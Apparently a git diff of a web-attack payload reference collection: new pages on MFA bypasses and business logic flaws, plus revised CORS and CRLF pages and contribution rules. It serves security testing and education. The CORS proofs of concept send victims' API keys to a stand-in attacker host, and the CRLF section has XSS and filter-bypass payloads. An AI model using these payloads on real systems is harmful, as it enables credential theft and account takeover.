- [Hacking Grindr Accounts with Copy and Paste - Troy HUNT & Wassime BOUIMADAGHENE - 03 OCTOBER 2020](https://www.troyhunt.com/hacking-grindr-accounts-with-copy-and-paste/) * [CTFd Account Takeover - NIST National Vulnerability Database - March 29, 2020](https://nvd.nist.gov/vuln/detail/CVE-2020-7245)
- [CTFd Account Takeover](https://nvd.nist.gov/vuln/detail/CVE-2020-7245) * [Hacking Grindr Accounts with Copy and Paste - Troy Hunt - October 3, 2020](https://www.troyhunt.com/hacking-grindr-accounts-with-copy-and-paste/)

View File

@@ -0,0 +1,99 @@
# MFA Bypasses
> Multi-Factor Authentication (MFA) is a security measure that requires users to provide two or more verification factors to gain access to a system, application, or network. It combines something the user knows (like a password), something they have (like a phone or security token), and/or something they are (biometric verification). This layered approach enhances security by making unauthorized access more difficult, even if a password is compromised.
> MFA Bypasses are techniques attackers use to circumvent MFA protections. These methods can include exploiting weaknesses in MFA implementations, intercepting authentication tokens, leveraging social engineering to manipulate users or support staff, or exploiting session-based vulnerabilities.
## Summary
* [Response Manipulation](#response-manipulation)
* [Status Code Manipulation](#status-code-manipulation)
* [2FA Code Leakage in Response](#2fa-code-leakage-in-response)
* [JS File Analysis](#js-file-analysis)
* [2FA Code Reusability](#2fa-code-reusability)
* [Lack of Brute-Force Protection](#lack-of-brute-force-protection)
* [Missing 2FA Code Integrity Validation](#missing-2fa-code-integrity-validation)
* [CSRF on 2FA Disabling](#csrf-on-2fa-disabling)
* [Password Reset Disable 2FA](#password-reset-disable-2fa)
* [Backup Code Abuse](#backup-code-abuse)
* [Clickjacking on 2FA Disabling Page](#clickjacking-on-2fa-disabling-page)
* [Enabling 2FA doesn't expire Previously active Sessions](#enabling-2fa-doesnt-expire-previously-active-sessions)
* [Bypass 2FA by Force Browsing](#bypass-2fa-by-force-browsing)
* [Bypass 2FA with null or 000000](#bypass-2fa-with-null-or-000000)
* [Bypass 2FA with array](#bypass-2fa-with-array)
## 2FA Bypasses
### Response Manipulation
In response if `"success":false`
Change it to `"success":true`
### Status Code Manipulation
If Status Code is **4xx**
Try to change it to **200 OK** and see if it bypass restrictions
### 2FA Code Leakage in Response
Check the response of the 2FA Code Triggering Request to see if the code is leaked.
### JS File Analysis
Rare but some JS Files may contain info about the 2FA Code, worth giving a shot
### 2FA Code Reusability
Same code can be reused
### Lack of Brute-Force Protection
Possible to brute-force any length 2FA Code
### Missing 2FA Code Integrity Validation
Code for any user acc can be used to bypass the 2FA
### CSRF on 2FA Disabling
No CSRF Protection on disabling 2FA, also there is no auth confirmation
### Password Reset Disable 2FA
2FA gets disabled on password change/email change
### Backup Code Abuse
Bypassing 2FA by abusing the Backup code feature
Use the above mentioned techniques to bypass Backup Code to remove/reset 2FA restrictions
### Clickjacking on 2FA Disabling Page
Iframing the 2FA Disabling page and social engineering victim to disable the 2FA
### Enabling 2FA doesn't expire Previously active Sessions
If the session is already hijacked and there is a session timeout vuln
### Bypass 2FA by Force Browsing
If the application redirects to `/my-account` url upon login while 2Fa is disabled, try replacing `/2fa/verify` with `/my-account` while 2FA is enabled to bypass verification.
### Bypass 2FA with null or 000000
Enter the code **000000** or **null** to bypass 2FA protection.
### Bypass 2FA with array
```json
{
"otp":[
"1234",
"1111",
"1337", // GOOD OTP
"2222",
"3333",
"4444",
"5555"
]
}
```

View File

@@ -0,0 +1,81 @@
# Business Logic Errors
> Business logic errors, also known as business logic flaws, are a type of application vulnerability that stems from the application's business logic, which is the part of the program that deals with real-world business rules and processes. These rules could include things like pricing models, transaction limits, or the sequences of operations that need to be followed in a multi-step process.
## Summary
* [Methodology](#methodology)
* [Review Feature Testing](#review-feature-testing)
* [Discount Code Feature Testing](#discount-code-feature-testing)
* [Delivery Fee Manipulation](#delivery-fee-manipulation)
* [Currency Arbitrage](#currency-arbitrage)
* [Premium Feature Exploitation](#premium-feature-exploitation)
* [Refund Feature Exploitation](#refund-feature-exploitation)
* [Cart/Wishlist Exploitation](#cartwishlist-exploitation)
* [Thread Comment Testing](#thread-comment-testing)
* [References](#references)
## Methodology
Unlike other types of security vulnerabilities like SQL injection or cross-site scripting (XSS), business logic errors do not rely on problems in the code itself (like unfiltered user input). Instead, they take advantage of the normal, intended functionality of the application, but use it in ways that the developer did not anticipate and that have undesired consequences.
Common examples of Business Logic Errors.
### Review Feature Testing
* Assess if you can post a product review as a verified reviewer without having purchased the item.
* Attempt to provide a rating outside of the standard scale, for instance, a 0, 6 or negative number in a 1 to 5 scale system.
* Test if the same user can post multiple ratings for a single product. This is useful in detecting potential race conditions.
* Determine if the file upload field permits all extensions; developers often overlook protections on these endpoints.
* Investigate the possibility of posting reviews impersonating other users.
* Attempt Cross-Site Request Forgery (CSRF) on this feature, as it's frequently unprotected by tokens.
### Discount Code Feature Testing
* Try to apply the same discount code multiple times to assess if it's reusable.
* If the discount code is unique, evaluate for race conditions by applying the same code for two accounts simultaneously.
* Test for Mass Assignment or HTTP Parameter Pollution to see if you can apply multiple discount codes when the application is designed to accept only one.
* Test for vulnerabilities from missing input sanitization such as XSS, SQL Injection on this feature.
* Attempt to apply discount codes to non-discounted items by manipulating the server-side request.
### Delivery Fee Manipulation
* Experiment with negative values for delivery charges to see if it reduces the final amount.
* Evaluate if free delivery can be activated by modifying parameters.
### Currency Arbitrage
* Attempt to pay in one currency, for example, USD, and request a refund in another, like EUR. The difference in conversion rates could result in a profit.
### Premium Feature Exploitation
* Explore the possibility of accessing premium account-only sections or endpoints without a valid subscription.
* Purchase a premium feature, cancel it, and see if you can still use it after a refund.
* Look for true/false values in requests/responses that validate premium access. Use tools like Burp's Match & Replace to alter these values for unauthorized premium access.
* Review cookies or local storage for variables validating premium access.
### Refund Feature Exploitation
* Purchase a product, ask for a refund, and see if the product remains accessible.
* Look for opportunities for currency arbitrage.
* Submit multiple cancellation requests for a subscription to check the possibility of multiple refunds.
### Cart/Wishlist Exploitation
* Test the system by adding products in negative quantities, along with other products, to balance the total.
* Try to add more of a product than is available.
* Check if a product in your wishlist or cart can be moved to another user's cart or removed from it.
### Thread Comment Testing
* Check if there's a limit to the number of comments on a thread.
* If a user can only comment once, use race conditions to see if multiple comments can be posted.
* If the system allows comments by verified or privileged users, try to mimic these parameters and see if you can comment as well.
* Attempt to post comments impersonating other users.
## References
* [Business Logic Vulnerabilities - PortSwigger - 2024](https://portswigger.net/web-security/logic-flaws)
* [Business Logic Vulnerability - OWASP - 2024](https://owasp.org/www-community/vulnerabilities/Business_logic_vulnerability)
* [CWE-840: Business Logic Errors - CWE - March 24, 2011](https://cwe.mitre.org/data/definitions/840.html)
* [Examples of Business Logic Vulnerabilities - PortSwigger - 2024](https://portswigger.net/web-security/logic-flaws/examples)

View File

@@ -1,63 +1,47 @@
# CONTRIBUTING # CONTRIBUTING
PayloadsAllTheThings' Team :heart: pull requests :) PayloadsAllTheThings' Team :heart: pull requests.
Feel free to improve with your payloads and techniques ! Feel free to improve with your payloads and techniques !
You can also contribute with a :beers: IRL, or using the sponsor button. You can also contribute with a :beers: IRL, or using the [sponsor](https://github.com/sponsors/swisskyrepo) button.
## Pull Requests Guidelines ## Pull Requests Guidelines
In order to provide the safest payloads for the community, the following rules must be followed for **every** Pull Request. In order to provide the safest payloads for the community, the following rules must be followed for **every** Pull Request.
- Payloads must be sanitized - Payloads must be sanitized
- Use `id`, and `whoami`, for RCE Proof of Concepts - Use `id`, and `whoami`, for RCE Proof of Concepts
- Use `[REDACTED]` when the user has to replace a domain for a callback. E.g: XSSHunter, BurpCollaborator etc. - Use `[REDACTED]` when the user has to replace a domain for a callback. E.g: XSSHunter, BurpCollaborator etc.
- Use `10.10.10.10` and `10.10.10.11` when the payload require IP addresses - Use `10.10.10.10` and `10.10.10.11` when the payload require IP addresses
- Use `Administrator` for privileged users and `User` for normal account - Use `Administrator` for privileged users and `User` for normal account
- Use `P@ssw0rd`, `Password123`, `password` as default passwords for your examples - Use `P@ssw0rd`, `Password123`, `password` as default passwords for your examples
- Prefer commonly used name for machines such as `DC01`, `EXCHANGE01`, `WORKSTATION01`, etc - Prefer commonly used name for machines such as `DC01`, `EXCHANGE01`, `WORKSTATION01`, etc
- References must have an `author`, a `title` and a `link`. The `date` is not mandatory but appreciated :) - References must have an `author`, a `title`, a `link` and a `date`
- Use [Wayback Machine](https://web.archive.org/) if the reference is not available anymore.
- The date must be following the format `Month Number, Year`, e.g: `December 25, 2024`
- References to Github repositories must follow this format: `[author/tool](https://github.com/URL) - Description`
Every pull request will be checked with `markdownlint` to ensure consistent writing and Markdown best practices. You can validate your files locally using the following Docker command:
```ps1
docker run -v $PWD:/workdir davidanson/markdownlint-cli2:v0.15.0 "**/*.md" --config .github/.markdownlint.json --fix
```
## Techniques Folder ## Techniques Folder
Every section should contains the following files, you can use the `_template_vuln` folder to create a new technique folder: Every section should contains the following files, you can use the `_template_vuln` folder to create a new technique folder:
- README.md - vulnerability description and how to exploit it, including several payloads, more below - **README.md**: vulnerability description and how to exploit it, including several payloads, more below
- Intruder - a set of files to give to Burp Intruder - **Intruder**: a set of files to give to Burp Intruder
- Images - pictures for the README.md - **Images**: pictures for the README.md
- Files - some files referenced in the README.md - **Files**: some files referenced in the README.md
## README.md format ## README.md Format
Use the following example to create a new technique `README.md` file. Use the example folder [_template_vuln/](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/_template_vuln/) to create a new vulnerability document. The main page is [README.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/_template_vuln/README.md). It is organized with sections for a title and description of the vulnerability, along with a summary table of contents linking to the main sections of the document.
```markdown - **Tools**: Lists relevant tools with links to their repositories and brief descriptions.
# Vulnerability Title - **Methodology**: Provides a quick overview of the approach used, with code snippets to demonstrate exploitation steps.
- **Labs**: References online platforms where similar vulnerabilities can be practiced, each with a link to the corresponding lab.
> Vulnerability description - **References**: Lists external resources, such as blog posts or articles, providing additional context or case studies related to the vulnerability.
## Summary
* [Tools](#tools)
* [Something](#something)
* [Subentry 1](#sub1)
* [Subentry 2](#sub2)
* [References](#references)
## Tools
- [Tool 1](https://example.com)
- [Tool 2](https://example.com)
## Something
Quick explanation
### Subentry 1
Something about the subentry 1
## References
- [Blog title - Author, Date](https://example.com)
```

View File

@@ -5,26 +5,35 @@
## Summary ## Summary
* [Tools](#tools) * [Tools](#tools)
* [Prerequisites](#prerequisites) * [Requirements](#requirements)
* [Exploitation](#exploitation) * [Methodology](#methodology)
* [Origin Reflection](#origin-reflection)
* [Null Origin](#null-origin)
* [XSS on Trusted Origin](#xss-on-trusted-origin)
* [Wildcard Origin without Credentials](#wildcard-origin-without-credentials)
* [Expanding the Origin](#expanding-the-origin)
* [Labs](#labs)
* [References](#references) * [References](#references)
## Tools ## Tools
* [Corsy - CORS Misconfiguration Scanner](https://github.com/s0md3v/Corsy/) * [s0md3v/Corsy](https://github.com/s0md3v/Corsy/) - CORS Misconfiguration Scanner
* [PostMessage POC Builder - @honoki](https://tools.honoki.net/postmessage.html) * [chenjj/CORScanner](https://github.com/chenjj/CORScanner) - Fast CORS misconfiguration vulnerabilities scanner
* [@honoki/PostMessage](https://tools.honoki.net/postmessage.html) - POC Builder
* [trufflesecurity/of-cors](https://github.com/trufflesecurity/of-cors) - Exploit CORS misconfigurations on the internal networks
* [omranisecurity/CorsOne](https://github.com/omranisecurity/CorsOne) - Fast CORS Misconfiguration Discovery Tool
## Prerequisites ## Requirements
* BURP HEADER> `Origin: https://evil.com` * BURP HEADER> `Origin: https://evil.com`
* VICTIM HEADER> `Access-Control-Allow-Credential: true` * VICTIM HEADER> `Access-Control-Allow-Credential: true`
* VICTIM HEADER> `Access-Control-Allow-Origin: https://evil.com` OR `Access-Control-Allow-Origin: null` * VICTIM HEADER> `Access-Control-Allow-Origin: https://evil.com` OR `Access-Control-Allow-Origin: null`
## Exploitation ## Methodology
Usually you want to target an API endpoint. Use the following payload to exploit a CORS misconfiguration on target `https://victim.example.com/endpoint`. Usually you want to target an API endpoint. Use the following payload to exploit a CORS misconfiguration on target `https://victim.example.com/endpoint`.
### Vulnerable Example: Origin Reflection ### Origin Reflection
#### Vulnerable Implementation #### Vulnerable Implementation
@@ -41,7 +50,7 @@ Access-Control-Allow-Credentials: true
{"[private API key]"} {"[private API key]"}
``` ```
#### Proof of concept #### Proof Of Concept
This PoC requires that the respective JS script is hosted at `evil.com` This PoC requires that the respective JS script is hosted at `evil.com`
@@ -53,7 +62,7 @@ req.withCredentials = true;
req.send(); req.send();
function reqListener() { function reqListener() {
location='//atttacker.net/log?key='+this.responseText; location='//attacker.net/log?key='+this.responseText;
}; };
``` ```
@@ -84,7 +93,7 @@ or
</html> </html>
``` ```
### Vulnerable Example: Null Origin ### Null Origin
#### Vulnerable Implementation #### Vulnerable Implementation
@@ -92,7 +101,7 @@ It's possible that the server does not reflect the complete `Origin` header but
that the `null` origin is allowed. This would look like this in the server's that the `null` origin is allowed. This would look like this in the server's
response: response:
``` ```ps1
GET /endpoint HTTP/1.1 GET /endpoint HTTP/1.1
Host: victim.example.com Host: victim.example.com
Origin: null Origin: null
@@ -105,7 +114,7 @@ Access-Control-Allow-Credentials: true
{"[private API key]"} {"[private API key]"}
``` ```
#### Proof of concept #### Proof Of Concept
This can be exploited by putting the attack code into an iframe using the data This can be exploited by putting the attack code into an iframe using the data
URI scheme. If the data URI scheme is used, the browser will use the `null` URI scheme. If the data URI scheme is used, the browser will use the `null`
@@ -125,18 +134,18 @@ origin in the request:
</script>"></iframe> </script>"></iframe>
``` ```
### Vulnerable Example: XSS on Trusted Origin ### XSS on Trusted Origin
If the application does implement a strict whitelist of allowed origins, the If the application does implement a strict whitelist of allowed origins, the
exploit codes from above do not work. But if you have an XSS on a trusted exploit codes from above do not work. But if you have an XSS on a trusted
origin, you can inject the exploit coded from above in order to exploit CORS origin, you can inject the exploit coded from above in order to exploit CORS
again. again.
``` ```ps1
https://trusted-origin.example.com/?xss=<script>CORS-ATTACK-PAYLOAD</script> https://trusted-origin.example.com/?xss=<script>CORS-ATTACK-PAYLOAD</script>
``` ```
### Vulnerable Example: Wildcard Origin `*` without Credentials ### Wildcard Origin without Credentials
If the server responds with a wildcard origin `*`, **the browser does never send If the server responds with a wildcard origin `*`, **the browser does never send
the cookies**. However, if the server does not require authentication, it's still the cookies**. However, if the server does not require authentication, it's still
@@ -162,7 +171,7 @@ Access-Control-Allow-Origin: *
{"[private API key]"} {"[private API key]"}
``` ```
#### Proof of concept #### Proof Of Concept
```js ```js
var req = new XMLHttpRequest(); var req = new XMLHttpRequest();
@@ -171,18 +180,19 @@ req.open('get','https://api.internal.example.com/endpoint',true);
req.send(); req.send();
function reqListener() { function reqListener() {
location='//atttacker.net/log?key='+this.responseText; location='//attacker.net/log?key='+this.responseText;
}; };
``` ```
### Vulnerable Example: Expanding the Origin / Regex Issues ### Expanding the Origin
Occasionally, certain expansions of the original origin are not filtered on the server side. This might be caused by using a badly implemented regular expressions to validate the origin header. Occasionally, certain expansions of the original origin are not filtered on the server side. This might be caused by using a badly implemented regular expressions to validate the origin header.
#### Vulnerable Implementation (Example 1) #### Vulnerable Implementation (Example 1)
In this scenario any prefix inserted in front of `example.com` will be accepted by the server. In this scenario any prefix inserted in front of `example.com` will be accepted by the server.
``` ```ps1
GET /endpoint HTTP/1.1 GET /endpoint HTTP/1.1
Host: api.example.com Host: api.example.com
Origin: https://evilexample.com Origin: https://evilexample.com
@@ -192,10 +202,9 @@ Access-Control-Allow-Origin: https://evilexample.com
Access-Control-Allow-Credentials: true Access-Control-Allow-Credentials: true
{"[private API key]"} {"[private API key]"}
``` ```
#### Proof of concept (Example 1) #### Proof of Concept (Example 1)
This PoC requires the respective JS script to be hosted at `evilexample.com` This PoC requires the respective JS script to be hosted at `evilexample.com`
@@ -207,7 +216,7 @@ req.withCredentials = true;
req.send(); req.send();
function reqListener() { function reqListener() {
location='//atttacker.net/log?key='+this.responseText; location='//attacker.net/log?key='+this.responseText;
}; };
``` ```
@@ -215,7 +224,7 @@ function reqListener() {
In this scenario the server utilizes a regex where the dot was not escaped correctly. For instance, something like this: `^api.example.com$` instead of `^api\.example.com$`. Thus, the dot can be replaced with any letter to gain access from a third-party domain. In this scenario the server utilizes a regex where the dot was not escaped correctly. For instance, something like this: `^api.example.com$` instead of `^api\.example.com$`. Thus, the dot can be replaced with any letter to gain access from a third-party domain.
``` ```ps1
GET /endpoint HTTP/1.1 GET /endpoint HTTP/1.1
Host: api.example.com Host: api.example.com
Origin: https://apiiexample.com Origin: https://apiiexample.com
@@ -225,7 +234,6 @@ Access-Control-Allow-Origin: https://apiiexample.com
Access-Control-Allow-Credentials: true Access-Control-Allow-Credentials: true
{"[private API key]"} {"[private API key]"}
``` ```
#### Proof of concept (Example 2) #### Proof of concept (Example 2)
@@ -240,23 +248,27 @@ req.withCredentials = true;
req.send(); req.send();
function reqListener() { function reqListener() {
location='//atttacker.net/log?key='+this.responseText; location='//attacker.net/log?key='+this.responseText;
}; };
``` ```
## Bug Bounty reports ## Labs
* [CORS Misconfiguration on www.zomato.com - James Kettle (albinowax)](https://hackerone.com/reports/168574) * [PortSwigger - CORS vulnerability with basic origin reflection](https://portswigger.net/web-security/cors/lab-basic-origin-reflection-attack)
* [CORS misconfig | Account Takeover - niche.co - Rohan (nahoragg)](https://hackerone.com/reports/426147) * [PortSwigger - CORS vulnerability with trusted null origin](https://portswigger.net/web-security/cors/lab-null-origin-whitelisted-attack)
* [Cross-origin resource sharing misconfig | steal user information - bughunterboy (bughunterboy)](https://hackerone.com/reports/235200) * [PortSwigger - CORS vulnerability with trusted insecure protocols](https://portswigger.net/web-security/cors/lab-breaking-https-attack)
* [CORS Misconfiguration leading to Private Information Disclosure - sandh0t (sandh0t)](https://hackerone.com/reports/430249) * [PortSwigger - CORS vulnerability with internal network pivot attack](https://portswigger.net/web-security/cors/lab-internal-network-pivot-attack)
* [[██████] Cross-origin resource sharing misconfiguration (CORS) - Vadim (jarvis7)](https://hackerone.com/reports/470298)
## References ## References
* [Think Outside the Scope: Advanced CORS Exploitation Techniques - @Sandh0t - May 14 2019](https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397) * [[██████] Cross-origin resource sharing misconfiguration (CORS) - Vadim (jarvis7) - December 20, 2018](https://hackerone.com/reports/470298)
* [Exploiting CORS misconfigurations for Bitcoins and bounties - James Kettle | 14 October 2016](https://portswigger.net/blog/exploiting-cors-misconfigurations-for-bitcoins-and-bounties) * [Advanced CORS Exploitation Techniques - Corben Leo - June 16, 2018](https://web.archive.org/web/20190516052453/https://www.corben.io/advanced-cors-techniques/)
* [Exploiting Misconfigured CORS (Cross Origin Resource Sharing) - Geekboy - DECEMBER 16, 2016](https://www.geekboy.ninja/blog/exploiting-misconfigured-cors-cross-origin-resource-sharing/) * [CORS misconfig | Account Takeover - Rohan (nahoragg) - October 20, 2018](https://hackerone.com/reports/426147)
* [Advanced CORS Exploitation Techniques - Corben Leo - June 16, 2018](https://www.corben.io/advanced-cors-techniques/) * [CORS Misconfiguration leading to Private Information Disclosure - sandh0t (sandh0t) - October 29, 2018](https://hackerone.com/reports/430249)
* [PortSwigger Web Security Academy: CORS](https://portswigger.net/web-security/cors) * [CORS Misconfiguration on www.zomato.com - James Kettle (albinowax) - September 15, 2016](https://hackerone.com/reports/168574)
* [CORS Misconfigurations Explained - Detectify Blog](https://blog.detectify.com/2018/04/26/cors-misconfigurations-explained/) * [CORS Misconfigurations Explained - Detectify Blog - April 26, 2018](https://blog.detectify.com/2018/04/26/cors-misconfigurations-explained/)
* [Cross-origin resource sharing (CORS) - PortSwigger Web Security Academy - December 30, 2019](https://portswigger.net/web-security/cors)
* [Cross-origin resource sharing misconfig | steal user information - bughunterboy (bughunterboy) - June 1, 2017](https://hackerone.com/reports/235200)
* [Exploiting CORS misconfigurations for Bitcoins and bounties - James Kettle - 14 October 2016](https://portswigger.net/blog/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)
* [Exploiting Misconfigured CORS (Cross Origin Resource Sharing) - Geekboy - December 16, 2016](https://www.geekboy.ninja/blog/exploiting-misconfigured-cors-cross-origin-resource-sharing/)
* [Think Outside the Scope: Advanced CORS Exploitation Techniques - Ayoub Safa (Sandh0t) - May 14 2019](https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397)

View File

@@ -1,80 +1,64 @@
# CRLF # Carriage Return Line Feed
>The term CRLF refers to Carriage Return (ASCII 13, \r) Line Feed (ASCII 10, \n). They're used to note the termination of a line, however, dealt with differently in todays popular Operating Systems. For example: in Windows both a CR and LF are required to note the end of a line, whereas in Linux/UNIX a LF is only required. In the HTTP protocol, the CR-LF sequence is always used to terminate a line. > CRLF Injection is a web security vulnerability that arises when an attacker injects unexpected Carriage Return (CR) (\r) and Line Feed (LF) (\n) characters into an application. These characters are used to signify the end of a line and the start of a new one in network protocols like HTTP, SMTP, and others. In the HTTP protocol, the CR-LF sequence is always used to terminate a line.
>A CRLF Injection attack occurs when a user manages to submit a CRLF into an application. This is most commonly done by modifying an HTTP parameter or URL.
## Summary ## Summary
- [CRLF - Add a cookie](#crlf---add-a-cookie) * [Methodology](#methodology)
- [CRLF - Add a cookie - XSS Bypass](#crlf---add-a-cookie---xss-bypass) * [Session Fixation](#session-fixation)
- [CRLF - Write HTML](#crlf---write-html) * [Cross Site Scripting](#cross-site-scripting)
- [CRLF - Filter Bypass](#crlf---filter-bypass) * [Open Redirect](#open-redirect)
- [References](#references) * [Filter Bypass](#filter-bypass)
* [Labs](#labs)
* [References](#references)
## CRLF - Add a cookie ## Methodology
Requested page HTTP Response Splitting is a security vulnerability where an attacker manipulates an HTTP response by injecting Carriage Return (CR) and Line Feed (LF) characters (collectively called CRLF) into a response header. These characters mark the end of a header and the start of a new line in HTTP responses.
```http **CRLF Characters**:
http://www.example.net/%0D%0ASet-Cookie:mycookie=myvalue
```
HTTP Response * `CR` (`\r`, ASCII 13): Moves the cursor to the beginning of the line.
* `LF` (`\n`, ASCII 10): Moves the cursor to the next line.
```http By injecting a CRLF sequence, the attacker can break the response into two parts, effectively controlling the structure of the HTTP response. This can result in various security issues, such as:
Connection: keep-alive
Content-Length: 178
Content-Type: text/html
Date: Mon, 09 May 2016 14:47:29 GMT
Location: https://www.example.net/[INJECTION STARTS HERE]
Set-Cookie: mycookie=myvalue
X-Frame-Options: SAMEORIGIN
X-Sucuri-ID: 15016
x-content-type-options: nosniff
x-xss-protection: 1; mode=block
```
## CRLF - Add a cookie - XSS Bypass * Cross-Site Scripting (XSS): Injecting malicious scripts into the second response.
* Cache Poisoning: Forcing incorrect content to be stored in caches.
* Header Manipulation: Altering headers to mislead users or systems
Requested page ### Session Fixation
```powershell A typical HTTP response header looks like this:
http://example.com/%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23%0d%0a<svg%20onload=alert(document.domain)>%0d%0a0%0d%0a/%2f%2e%2e
```
HTTP Response
```http ```http
HTTP/1.1 200 OK HTTP/1.1 200 OK
Date: Tue, 20 Dec 2016 14:34:03 GMT Content-Type: text/html
Content-Type: text/html; charset=utf-8 Set-Cookie: sessionid=abc123
Content-Length: 22907
Connection: close
X-Frame-Options: SAMEORIGIN
Last-Modified: Tue, 20 Dec 2016 11:50:50 GMT
ETag: "842fe-597b-54415a5c97a80"
Vary: Accept-Encoding
X-UA-Compatible: IE=edge
Server: NetDNA-cache/2.2
Link: <https://example.com/[INJECTION STARTS HERE]
Content-Length:35
X-XSS-Protection:0
```
## CRLF - Write HTML
``` ```
If user input `value\r\nSet-Cookie: admin=true` is embedded into the headers without sanitization:
http://www.example.net/index.php?lang=en%0D%0AContent-Length%3A%200%0A%20%0AHTTP/1.1%20200%20OK%0AContent-Type%3A%20text/html%0ALast-Modified%3A%20Mon%2C%2027%20Oct%202060%2014%3A50%3A18%20GMT%0AContent-Length%3A%2034%0A%20%0A%3Chtml%3EYou%20have%20been%20Phished%3C/html%3E ```http
HTTP/1.1 200 OK
Content-Type: text/html
Set-Cookie: sessionid=value
Set-Cookie: admin=true
```
Now the attacker has set their own cookie.
### Cross Site Scripting
Beside the session fixation that requires a very insecure way of handling user session, the easiest way to exploit a CRLF injection is to write a new body for the page. It can be used to create a phishing page or to trigger an arbitrary Javascript code (XSS).
**Requested page**:
```http ```http
http://www.example.net/index.php?lang=en%0D%0AContent-Length%3A%200%0A%20%0AHTTP/1.1%20200%20OK%0AContent-Type%3A%20text/html%0ALast-Modified%3A%20Mon%2C%2027%20Oct%202060%2014%3A50%3A18%20GMT%0AContent-Length%3A%2034%0A%20%0A%3Chtml%3EYou%20have%20been%20Phished%3C/html%3E http://www.example.net/index.php?lang=en%0D%0AContent-Length%3A%200%0A%20%0AHTTP/1.1%20200%20OK%0AContent-Type%3A%20text/html%0ALast-Modified%3A%20Mon%2C%2027%20Oct%202060%2014%3A50%3A18%20GMT%0AContent-Length%3A%2034%0A%20%0A%3Chtml%3EYou%20have%20been%20Phished%3C/html%3E
``` ```
Set-Cookie:en **HTTP response**:
```http ```http
Set-Cookie:en Set-Cookie:en
@@ -88,27 +72,81 @@ Content-Length: 34
``` ```
In the case of an XSS, the CRLF injection allows to inject the `X-XSS-Protection` header with the value value "0", to disable it. And then we can add our HTML tag containing Javascript code . In the case of an XSS, the CRLF injection allows to inject the `X-XSS-Protection` header with the value value "0", to disable it. And then we can add our HTML tag containing Javascript code .
```http
**Requested page**: **Requested page**:
```
```powershell ```powershell
Remainder: http://example.com/%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23%0d%0a<svg%20onload=alert(document.domain)>%0d%0a0%0d%0a/%2f%2e%2e
```
**HTTP Response**: **HTTP Response**:
* %E5%98%BE = %3E = \u563e (>)
```http ```http
HTTP/1.1 200 OK
Date: Tue, 20 Dec 2016 14:34:03 GMT
## Exploitation Tricks Content-Type: text/html; charset=utf-8
* Try to search for parameters that lead to redirects and fuzz them Content-Length: 22907
Connection: close
X-Frame-Options: SAMEORIGIN
Last-Modified: Tue, 20 Dec 2016 11:50:50 GMT
ETag: "842fe-597b-54415a5c97a80"
Vary: Accept-Encoding
X-UA-Compatible: IE=edge
Server: NetDNA-cache/2.2
Link: https://example.com/[INJECTION STARTS HERE]
Content-Length:35
X-XSS-Protection:0
``` ```
### Open Redirect
Inject a `Location` header to force a redirect for the user.
## References ```ps1
%0d%0aLocation:%20http://myweb.com
* https://www.owasp.org/index.php/CRLF_Injection ```
## Filter Bypass
[RFC 7230](https://datatracker.ietf.org/doc/html/rfc7230#section-3.2.4) states that most HTTP header field values use only a subset of the US-ASCII charset.
> Newly defined header fields SHOULD limit their field values to US-ASCII octets.
Firefox followed the spec by stripping off any out-of-range characters when setting cookies instead of encoding them.
| UTF-8 Character | Hex | Unicode | Stripped |
| --------- | --- | ------- | -------- |
| `嘊` | `%E5%98%8A` | `\u560a` | `%0A` (\n) |
| `嘍` | `%E5%98%8D` | `\u560d` | `%0D` (\r) |
| `嘾` | `%E5%98%BE` | `\u563e` | `%3E` (>) |
| `嘼` | `%E5%98%BC` | `\u563c` | `%3C` (<) |
The UTF-8 character `嘊` contains `0a` in the last part of its hex format, which would be converted as `\n` by Firefox.
An example payload using UTF-8 characters would be:
```js
嘊嘍content-type:text/html嘊嘍location:嘊嘍嘊嘍嘼svg/onload=alert(document.domain()
```
URL encoded version
```js
%E5%98%8A%E5%98%8Dcontent-type:text/html%E5%98%8A%E5%98%8Dlocation:%E5%98%8A%E5%98%8D%E5%98%8A%E5%98%8D%E5%98%BCsvg/onload=alert%28document.domain%28%29%E5%98%BE
```
## Labs
* [PortSwigger - HTTP/2 request splitting via CRLF injection](https://portswigger.net/web-security/request-smuggling/advanced/lab-request-smuggling-h2-request-splitting-via-crlf-injection)
* [Root Me - CRLF](https://www.root-me.org/en/Challenges/Web-Server/CRLF)
## References
* [CRLF Injection - CWE-93 - OWASP - May 20, 2022](https://www.owasp.org/index.php/CRLF_Injection)
* [CRLF injection on Twitter or why blacklists fail - XSS Jigsaw - April 21, 2015](https://web.archive.org/web/20150425024348/https://blog.innerht.ml/twitter-crlf-injection/) * [CRLF injection on Twitter or why blacklists fail - XSS Jigsaw - April 21, 2015](https://web.archive.org/web/20150425024348/https://blog.innerht.ml/twitter-crlf-injection/)
* [Starbucks: [newscdn.starbucks.com] CRLF Injection, XSS - Bobrov - December 20, 2016](https://vulners.com/hackerone/H1:192749) * [Starbucks: [newscdn.starbucks.com] CRLF Injection, XSS - Bobrov - December 20, 2016](https://vulners.com/hackerone/H1:192749)
* https://www.owasp.org/index.php/CRLF_Injection * [CRLF Injection - CWE-93 - OWASP - May 20, 2022](https://www.owasp.org/index.php/CRLF_Injection)
* https://vulners.com/hackerone/H1:192749 * [CRLF injection on Twitter or why blacklists fail - XSS Jigsaw - April 21, 2015](https://web.archive.org/web/20150425024348/https://blog.innerht.ml/twitter-crlf-injection/)
* [Starbucks: [newscdn.starbucks.com] CRLF Injection, XSS - Bobrov - December 20, 2016](https://vulners.com/hackerone/H1:192749)

View File

@@ -1,156 +0,0 @@
# Cross-Site Request Forgery
> Cross-Site Request Forgery (CSRF/XSRF) is an attack that forces an end user to execute unwanted actions on a web application in which they're currently authenticated. CSRF attacks specifically target state-changing requests, not theft of data, since the attacker has no way to see the response to the forged request. - OWASP
## Summary
* [Methodology](#methodology)
* [Payloads](#payloads)
* [HTML GET - Requiring User Interaction](#html-get---requiring-user-interaction)
* [HTML GET - No User Interaction)](#html-get---no-user-interaction)
* [HTML POST - Requiring User Interaction](#html-post---requiring-user-interaction)
* [HTML POST - AutoSubmit - No User Interaction](#html-post---autosubmit---no-user-interaction)
* [JSON GET - Simple Request](#json-get---simple-request)
